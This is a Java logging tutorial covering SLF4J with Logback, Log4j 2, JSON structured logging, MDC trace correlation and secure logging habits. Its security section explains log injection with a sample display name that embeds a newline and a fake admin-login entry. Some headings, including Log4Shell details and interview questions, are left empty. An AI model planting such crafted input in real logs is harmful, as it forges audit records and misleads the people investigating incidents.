Logging Frameworks

Why Logging Matters — and What Changes Without It

An application with no logging fails silently. When order-service starts returning 500s at 3 AM, the only evidence of what actually happened is whatever the JVM's default stack trace prints to a console nobody is watching. Good logging turns "the app is broken, we don't know why" into "the payment gateway returned a timeout for order #4471, here's the exact request that triggered it."

// BEFORE — no structured logging, a stack trace and nothing else
Exception in thread "main" java.lang.NullPointerException
    at com.shop.order.OrderService.processOrder(OrderService.java:42)
// Which order? Which customer? Was this the 1st failure today or the 500th?
// Unanswerable after the fact.

// AFTER — a structured, leveled log line with context
{"timestamp":"2026-07-10T03:14:02Z","level":"ERROR",
 "logger":"com.shop.order.OrderService","traceId":"9f8b3c2a1e",
 "orderId":"4471","customerId":"8821",
 "message":"Payment gateway timed out after 3 retries"}
// Queryable, correlatable across services, and it tells you exactly
// what to look at next.

The Java Logging Landscape — APIs vs Implementations

This is the single most confusing thing about Java logging for anyone new to it: the interface you code against and the library that actually writes the log line are almost always two different dependencies.

// Logging APIs (facades) — what your code calls
SLF4J           // the standard facade — code against this, not an implementation directly
JUL API         // java.util.logging — built into the JDK, rarely chosen for new code

// Logging implementations — what actually writes the log line
Logback         // SLF4J's native implementation — the default in Spring Boot
Log4j 2         // powerful, async-first via the LMAX Disruptor

// The pattern almost every project should follow:
// code against the SLF4J API, let Logback (or Log4j 2) do the actual writing

SLF4J with Logback

Maven Dependencies

<!-- Spring Boot: included automatically via spring-boot-starter -->
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
</dependency>
<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-classic</artifactId>
</dependency>

Basic Usage

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class CustomerService {

    private static final Logger log = LoggerFactory.getLogger(CustomerService.class);

    public Customer findCustomer(Long id) {
        log.debug("Finding customer with id: {}", id);

        Customer customer = customerRepository.findById(id).orElse(null);
        if (customer == null) {
            log.warn("Customer not found with id: {}", id);
            return null;
        }

        log.info("Found customer: {}", customer.getId());
        return customer;
    }
}

Logback Configuration (logback.xml)

<configuration>
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>

    <logger name="com.shop" level="DEBUG"/>
    <logger name="org.springframework" level="WARN"/>
    <logger name="org.hibernate" level="WARN"/>

    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
    </root>
</configuration>

Spring Boot Configuration

# application.properties
logging.level.root=INFO
logging.level.com.shop=DEBUG
logging.level.org.hibernate.SQL=DEBUG
logging.pattern.console=%d{yyyy-MM-dd HH:mm:ss} - %msg%n

Log Levels

public class OrderService {
    private static final Logger log = LoggerFactory.getLogger(OrderService.class);

    public Order processOrder(Order order) {
        log.debug("Processing order {} with {} items", order.getId(), order.getItems().size());
        try {
            validateOrder(order);
            if (order.getTotal().compareTo(BigDecimal.valueOf(10000)) > 0) {
                log.warn("Large order {} requires manual review", order.getId());
            }
            completeOrder(order);
            log.info("Order {} completed, total: {}", order.getId(), order.getTotal());
        } catch (PaymentException e) {
            log.error("Payment failed for order {}: {}", order.getId(), e.getMessage(), e);
            throw e;
        }
        return order;
    }
}

Where Should Logs Actually Go? Files vs stdout

A RollingFileAppender writing to logs/application.log made sense when an application ran on a fixed VM you could SSH into. It's the wrong default for a containerized service.

# logback.xml — container-appropriate: console only, no file appender at all
<configuration>
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
    </appender>
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
    </root>
</configuration>

Structured Logging (JSON) — the Default, Not an Add-On

A plain-text log line is optimized for a human reading it live in a terminal. The moment logs are collected centrally across dozens of service instances, plain text becomes something you grep and hope — structured JSON becomes something you query precisely by field.

<!-- pom.xml -->
<dependency>
    <groupId>net.logstash.logback</groupId>
    <artifactId>logstash-logback-encoder</artifactId>
    <version>7.4</version>
</dependency>

<!-- logback.xml -->
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
    <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>

// Output — one JSON object per line, every field independently queryable
{
  "@timestamp": "2026-07-10T03:14:02.123Z",
  "level": "ERROR",
  "logger_name": "com.shop.order.OrderService",
  "message": "Payment failed for order 4471",
  "orderId": "4471",
  "customerId": "8821"
}
// "show me every ERROR for customerId 8821 in the last hour" is now
// a precise query, not a hope that the right string appears in a grep

MDC and Correlating Logs Across Microservices

MDC (Mapped Diagnostic Context) attaches contextual key-value pairs to every log line written on the current thread — the classic use is a request ID, so every log line from a single request can be filtered together.

import org.slf4j.MDC;

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) throws IOException, ServletException {
    try {
        MDC.put("requestId", UUID.randomUUID().toString());
        chain.doFilter(request, response);
    } finally {
        MDC.clear();   // always clear — MDC is thread-local and threads are pooled and reused
    }
}

<!-- Spring Boot 3.x — Micrometer Tracing auto-populates MDC with
     traceId/spanId on every log line, propagated automatically across
     RestTemplate/WebClient calls to other services -->
<dependency>
    <groupId>io.micrometer</groupId>
    <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>

// logback.xml — include the trace/span IDs Micrometer Tracing injects into MDC
<pattern>%d{HH:mm:ss} [%X{traceId}/%X{spanId}] %-5level %logger{36} - %msg%n</pattern>

Log4j 2 — and the Log4Shell Lesson Every Java Developer Should Know

Log4j 2 is a capable, high-performance implementation with genuinely async logging via the LMAX Disruptor. It is also the subject of one of the most severe vulnerabilities in the history of the Java ecosystem, and understanding why it happened changes how you should think about logging dependencies generally.

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.24.0</version>  <!-- always the latest patch — see the box below -->
</dependency>

Log4j 2 async configuration

<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <AsyncLogger name="com.shop" level="debug"/>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Lombok @Slf4j

import lombok.extern.slf4j.Slf4j;

@Slf4j
public class CustomerService {
    // Lombok generates: private static final Logger log = LoggerFactory.getLogger(CustomerService.class);

    public Customer findCustomer(Long id) {
        log.info("Finding customer: {}", id);
        // ...
    }
}

Parameterized Logging and Exception Logging

// BAD — string concatenation always builds the message, even when DEBUG is disabled
log.debug("Processing customer: " + customer.getName());

// GOOD — parameterized, the message is only built if the level is enabled
log.debug("Processing customer: {}", customer.getName());

// For genuinely expensive-to-build arguments, guard explicitly
if (log.isDebugEnabled()) {
    log.debug("Order details: {}", order.toDetailedString());
}

// BAD — loses the stack trace entirely
log.error("Error: " + e.getMessage());

// GOOD — context plus the full stack trace as the last argument
log.error("Failed to process order {}", orderId, e);

Security Considerations

// BAD
log.info("Customer login: {} with password: {}", email, password);

// GOOD — mask or omit entirely
log.info("Customer login attempt: {}", email);
log.debug("Payment processed for card ending in: {}", maskCardNumber(cardNumber));

Log injection — the vulnerability specific to logging itself

Beyond what you deliberately choose to log, unsanitized user input written into a log line can forge fake entries. If a customer's display name contains a newline followed by text crafted to look like a legitimate log line, a naive log viewer (or a human scanning raw text) can be tricked into reading a fabricated entry as if the application produced it.

// A customer sets their name to:
// "Karlete\n2026-07-10 03:15:00 INFO  AuthService - Admin login successful"

log.info("Order placed by {}", customerName);
// Plain-text output now contains a second, fabricated "log line" that
// never actually happened — indistinguishable from a real one to anyone
// scanning the raw file.

Best Practices and Common Pitfalls

Interview Questions